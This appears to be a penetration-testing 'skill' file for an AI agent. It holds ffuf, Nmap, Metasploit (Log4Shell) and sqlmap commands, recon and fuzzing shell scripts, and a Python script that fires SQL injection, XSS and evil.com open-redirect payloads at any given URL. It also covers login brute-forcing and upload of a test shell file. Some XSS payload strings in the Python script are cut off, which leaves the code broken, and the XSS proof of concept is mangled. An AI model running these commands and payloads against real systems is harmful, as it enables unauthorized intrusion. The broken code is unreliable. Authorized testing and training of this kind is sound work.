Penetration Tester

Penetration Tester Skill

Overview

Penetration testing skill for authorized security assessments, vulnerability exploitation, and security validation. This skill focuses on ethical hacking techniques for CTF challenges, authorized pentesting engagements, and security research.

IMPORTANT: Only use for authorized testing with explicit written permission.

Capabilities

1. Web Application Testing

• Directory/file fuzzing
• Parameter discovery
• Authentication bypass testing
• API endpoint enumeration
• Subdomain discovery

2. Network Security

• Port scanning
• Service enumeration
• Vulnerability scanning
• Exploit verification

3. Exploitation & Post-Exploitation

• Vulnerability exploitation (authorized)
• Privilege escalation testing
• Lateral movement assessment
• Data exfiltration testing

4. Reporting

• Findings documentation
• Risk assessment
• Remediation recommendations
• Executive summary

Tools Integration

ffuf (Fast Web Fuzzer)

Primary tool for web fuzzing:

# Install ffuf
go install github.com/ffuf/ffuf@latest

# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/common.txt \
  -u http://target.com/FUZZ \
  -mc 200,301,302,403

# Subdomain enumeration
ffuf -w /usr/share/wordlists/subdomains.txt \
  -u http://FUZZ.target.com \
  -mc 200

# Parameter fuzzing
ffuf -w params.txt \
  -u http://target.com/api?FUZZ=test \
  -mc 200

# POST data fuzzing
ffuf -w payloads.txt \
  -u http://target.com/login \
  -X POST \
  -d '{"username":"admin","password":"FUZZ"}' \
  -H "Content-Type: application/json"

Nmap (Network Scanner)

Service and vulnerability discovery:

# Quick scan (top 1000 ports)
nmap -T4 target.com

# Full TCP scan
nmap -p- -T4 target.com

# Service version detection
nmap -sV -p 80,443 target.com

# OS detection
sudo nmap -O target.com

# Vulnerability scanning
nmap --script vuln -p 80,443 target.com

# Output all formats
nmap -oA scan_results -p- target.com

Metasploit Framework

Exploitation framework:

# Start msfconsole
msfconsole

# Search for exploits
search cve:2021-44228  # Log4Shell

# Use module
use exploit/multi/http/log4shell_header_injection

# Set options
set RHOSTS target.com
set RPORT 8080
set LHOST 192.168.1.100

# Check if target is vulnerable
check

# Run exploit (authorized only!)
exploit

Burp Suite

Web proxy and security testing:

# Start Burp Suite
java -jar burpsuite.jar

# Configure browser proxy: 127.0.0.1:8080
# Intercept requests
# Modify and replay
# Use Intruder for fuzzing
# Scanner for automated testing (Pro only)

Penetration Testing Workflow

Phase 1: Reconnaissance

# Passive reconnaissance
whois target.com
nslookup target.com
dig target.com ANY

# Subdomain enumeration
ffuf -w subdomains.txt -u http://FUZZ.target.com -mc 200

# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin

Phase 2: Scanning & Enumeration

# Port scanning
nmap -p- -T4 -oA nmap_full target.com

# Service enumeration
nmap -sV -sC -p 80,443,22,3306 target.com

# Web technology detection
whatweb target.com
wafw00f target.com  # WAF detection

Phase 3: Vulnerability Assessment

# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/big.txt \
  -u http://target.com/FUZZ \
  -mc 200,301,302,403 \
  -o directory_fuzz.json

# Nikto scan
nikto -h http://target.com

# SQLmap (SQL injection testing)
sqlmap -u "http://target.com/page?id=1" --batch --dbs

# XSS testing
ffuf -w xss-payloads.txt \
  -u "http://target.com/search?q=FUZZ" \
  -mr "<script"

Phase 4: Exploitation (Authorized Only)

# Test identified vulnerabilities
# Document successful exploits
# Capture proof-of-concept
# Maintain access for testing duration

Phase 5: Reporting

# Generate findings report
# Include screenshots
# Provide remediation steps
# Rate severity (CVSS)

Integration Scripts

pentest_workflow.sh

Automated reconnaissance and scanning:

#!/bin/bash
# Comprehensive penetration testing workflow

TARGET=$1
REPORT_DIR="pentest-reports/$TARGET-$(date +%Y%m%d)"
mkdir -p $REPORT_DIR

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target>"
    exit 1
fi

echo "=== Penetration Test: $TARGET ==="
echo "⚠️  Ensure you have written authorization!"
echo "Report directory: $REPORT_DIR"
echo

# 1. Reconnaissance
echo "[1/5] Reconnaissance..."
whois $TARGET > $REPORT_DIR/whois.txt
dig $TARGET ANY > $REPORT_DIR/dns.txt

# 2. Subdomain enumeration
echo "[2/5] Subdomain enumeration..."
ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt \
  -u http://FUZZ.$TARGET \
  -mc 200 \
  -o $REPORT_DIR/subdomains.json \
  -s  # Silent mode

# 3. Port scanning
echo "[3/5] Port scanning..."
nmap -p- -T4 -oA $REPORT_DIR/nmap_full $TARGET

# 4. Service enumeration
echo "[4/5] Service enumeration..."
PORTS=$(grep "^[0-9]" $REPORT_DIR/nmap_full.nmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -sV -sC -p$PORTS -oA $REPORT_DIR/nmap_services $TARGET

# 5. Web fuzzing (if web server detected)
if grep -q "80\|443" $REPORT_DIR/nmap_full.nmap; then
    echo "[5/5] Web directory fuzzing..."
    ffuf -w /usr/share/wordlists/dirb/common.txt \
      -u http://$TARGET/FUZZ \
      -mc 200,301,302,403 \
      -o $REPORT_DIR/directories.json \
      -s
fi

echo
echo "=== Scan Complete ==="
echo "Results: $REPORT_DIR/"
echo
echo "Next steps:"
echo "  1. Review findings"
echo "  2. Test identified services"
echo "  3. Document vulnerabilities"
echo "  4. Generate report"

web_fuzzer.sh

Advanced web application fuzzing:

#!/bin/bash
# Web application fuzzing toolkit

TARGET=$1
WORDLIST=${2:-/usr/share/wordlists/dirb/common.txt}

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target> [wordlist]"
    exit 1
fi

echo "=== Web Fuzzing: $TARGET ==="

# 1. Directory fuzzing
echo "Fuzzing directories..."
ffuf -w $WORDLIST \
  -u $TARGET/FUZZ \
  -mc 200,301,302,403 \
  -fc 404 \
  -o fuzz_directories.json

# 2. File fuzzing (multiple extensions)
echo "Fuzzing files..."
ffuf -w $WORDLIST \
  -u $TARGET/FUZZ \
  -e .php,.html,.txt,.js,.json,.xml,.bak,.old \
  -mc 200 \
  -o fuzz_files.json

# 3. Parameter fuzzing
echo "Fuzzing parameters..."
ffuf -w /usr/share/wordlists/parameters.txt \
  -u "$TARGET/api?FUZZ=test" \
  -mc 200 \
  -fr "error|invalid" \
  -o fuzz_parameters.json

# 4. Virtual host fuzzing
echo "Fuzzing virtual hosts..."
ffuf -w /usr/share/wordlists/subdomains.txt \
  -u $TARGET \
  -H "Host: FUZZ.$TARGET" \
  -mc 200 \
  -o fuzz_vhosts.json

echo "Fuzzing complete. Check *_fuzz.json files."

exploit_validator.py

Test and validate exploits:

#!/usr/bin/env python3
import requests
import sys

def test_sql_injection(url, param):
    """Test for SQL injection vulnerability"""
    payloads = [
        "' OR '1'='1",
        "1' OR '1'='1' --",
        "admin'--",
        "1' UNION SELECT NULL--"
    ]

    print(f"Testing SQL injection on {url}?{param}=...")

    for payload in payloads:
        try:
            response = requests.get(f"{url}?{param}={payload}", timeout=5)

            # Check for SQL errors
            sql_errors = [
                "SQL syntax",
                "mysql_fetch",
                "ORA-",
                "PostgreSQL",
                "SQLSTATE"
            ]

            if any(error in response.text for error in sql_errors):
                print(f"  ⚠️  VULNERABLE: SQL error with payload: {payload}")
                return True

            # Check for successful bypass (status 200 + different content)
            if response.status_code == 200 and len(response.text) > 1000:
                print(f"  ⚠️  POTENTIALLY VULNERABLE: {payload}")

        except requests.RequestException as e:
            print(f"  Error: {e}")

    print("  ✓ No SQL injection detected")
    return False

def test_xss(url, param):
    """Test for XSS vulnerability"""
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x
        "<svg
        "javascript:alert('XSS')"
    ]

    print(f"Testing XSS on {url}?{param}=...")

    for payload in payloads:
        try:
            response = requests.get(f"{url}?{param}={payload}", timeout=5)

            # Check if payload is reflected unescaped
            if payload in response.text:
                print(f"  ⚠️  VULNERABLE: Payload reflected: {payload}")
                return True

        except requests.RequestException as e:
            print(f"  Error: {e}")

    print("  ✓ No XSS detected")
    return False

def test_open_redirect(url, param):
    """Test for open redirect vulnerability"""
    payloads = [
        "https://evil.com",
        "//evil.com",
        "/\\evil.com"
    ]

    print(f"Testing open redirect on {url}?{param}=...")

    for payload in payloads:
        try:
            response = requests.get(
                f"{url}?{param}={payload}",
                allow_redirects=False,
                timeout=5
            )

            # Check for redirect to external domain
            if response.status_code in [301, 302, 303, 307, 308]:
                location = response.headers.get('Location', '')
                if 'evil.com' in location:
                    print(f"  ⚠️  VULNERABLE: Redirects to: {location}")
                    return True

        except requests.RequestException as e:
            print(f"  Error: {e}")

    print("  ✓ No open redirect detected")
    return False

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: python exploit_validator.py <url> <param>")
        sys.exit(1)

    url = sys.argv[1]
    param = sys.argv[2]

    print("=== Vulnerability Testing ===")
    print("⚠️  Only test systems you have permission to test!\n")

    test_sql_injection(url, param)
    test_xss(url, param)
    test_open_redirect(url, param)

Common Attack Vectors

1. SQL Injection

# ffuf with SQL payloads
ffuf -w sql-payloads.txt \
  -u "http://target.com/api/user?id=FUZZ" \
  -mr "root:|admin:|SELECT"

2. Authentication Bypass

# Fuzz login parameters
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
  -u http://target.com/login \
  -X POST \
  -d "username=USER&password=PASS" \
  -mc 200,302

3. API Enumeration

# Discover API endpoints
ffuf -w api-endpoints.txt \
  -u http://target.com/api/FUZZ \
  -mc 200,401,403

4. File Upload Bypass

# Test file upload filters
ffuf -w file-extensions.txt \
  -u http://target.com/upload \
  -X POST \
  -F "file=@shell.FUZZ" \
  -mc 200

Wordlists & Resources

# SecLists (comprehensive wordlists)
git clone https://github.com/danielmiessler/SecLists

# Common wordlists
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/subdomains-top1million-5000.txt

# Custom wordlists
cewl http://target.com -d 2 -m 5 -w custom_wordlist.txt

Best Practices

1. Written Authorization: Always obtain written permission
2. Scope Definition: Test only authorized targets
3. Rate Limiting: Don't overwhelm systems
4. Documentation: Record every test and finding
5. Proof of Concept: Demonstrate vulnerabilities safely
6. Responsible Disclosure: Report findings appropriately
7. No Destructive Tests: Avoid DoS, data destruction
8. Cleanup: Remove shells, backdoors after testing
9. Secure Storage: Encrypt reports and credentials
10. Legal Compliance: Follow local laws and regulations

Reporting Template

# Penetration Test Report

## Executive Summary
- Test duration: [dates]
- Scope: [targets]
- Critical findings: [count]
- Overall risk: [High/Medium/Low]

## Findings

### [#1] SQL Injection in Login Form
- **Severity**: Critical (CVSS 9.8)
- **Description**: Login form vulnerable to SQL injection
- **Impact**: Complete database compromise
- **Proof of Concept**:

username: admin' OR '1'='1'-- password: anything

- **Remediation**: Use parameterized queries
- **Status**: Open

### [#2] Reflected XSS in Search
- **Severity**: High (CVSS 7.4)
- **Description**: Search parameter reflects user input unescaped
- **Impact**: Account takeover via session hijacking
- **Proof of Concept**:

http://target.com/search?q=alert(document.cookie)

- **Remediation**: Implement output encoding, CSP headers
- **Status**: Open

## Recommendations
1. Immediate: Fix critical SQL injection
2. Short-term: Implement CSP, output encoding
3. Long-term: Security training, regular pentests

Requirements

# ffuf
go install github.com/ffuf/ffuf@latest

# Nmap
sudo apt-get install nmap

# Metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Burp Suite
# Download from: https://portswigger.net/burp

# Wordlists
sudo apt-get install seclists
# Or: git clone https://github.com/danielmiessler/SecLists

Legal & Ethical Considerations

Authorization Requirements

• Written permission from system owner
• Defined scope and objectives
• Rules of engagement documented
• Emergency contacts established

Prohibited Activities

• Testing without authorization
• Denial of Service attacks
• Data exfiltration beyond PoC
• Social engineering without consent
• Physical security testing without permission

Responsible Disclosure

1. Report findings to organization
2. Provide reasonable time to fix (90 days typical)
3. Don't publicly disclose before fix
4. Coordinate disclosure with vendor

CTF & Training Resources

• HackTheBox: https://www.hackthebox.com
• TryHackMe: https://tryhackme.com
• PentesterLab: https://pentesterlab.com
• VulnHub: https://www.vulnhub.com
• OWASP WebGoat: Vulnerable web application for training